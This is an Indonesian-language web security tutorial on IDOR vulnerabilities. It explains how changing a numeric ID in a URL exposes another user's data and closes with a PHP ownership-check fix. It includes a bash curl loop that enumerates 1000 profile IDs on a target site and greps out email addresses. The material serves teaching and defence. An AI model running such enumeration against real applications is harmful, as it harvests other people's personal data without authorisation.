IDOR: mengakses data pengguna lain dengan mengubah ID di URL. UUID vs auto-increment, reference maps, vertical vs horizontal.
Insecure Direct Object References (IDOR) adalah kerentanan di mana aplikasi mengekspos referensi langsung ke object internal (seperti ID database) dan penyerang bisa memanipulasinya untuk mengakses data milik pengguna lain. IDOR sangat umum dan sering diabaikan karena kesederhanaannya.
Contoh klasik: URL profil yang menggunakan ID numerik langsung.
# User A mengakses profilnya:
GET /profile.php?user_id=123
# User A mengubah user_id menjadi 124:
GET /profile.php?user_id=124
# Jika aplikasi TIDAK memvalidasi ownership — User A melihat data User B!Gunakan Burp Intruder atau script untuk mengakses ID secara berurutan:
for i in $(seq 1 1000); do
curl -s -b "session=..." "https://target.com/profile?id=$i" | grep "email"
doneUUID lebih sulit ditebak tapi IDOR tetap mungkin jika UUID bocor di response lain atau referer header.
// Selalu cek ownership sebelum memberikan data
$id = $_GET["id"];
$userId = $_SESSION["user_id"];
// Cek apakah user adalah pemilik resource
$stmt = $pdo->prepare("SELECT * FROM profiles WHERE id = ? AND user_id = ?");
$stmt->execute([$id, $userId]);
$data = $stmt->fetch();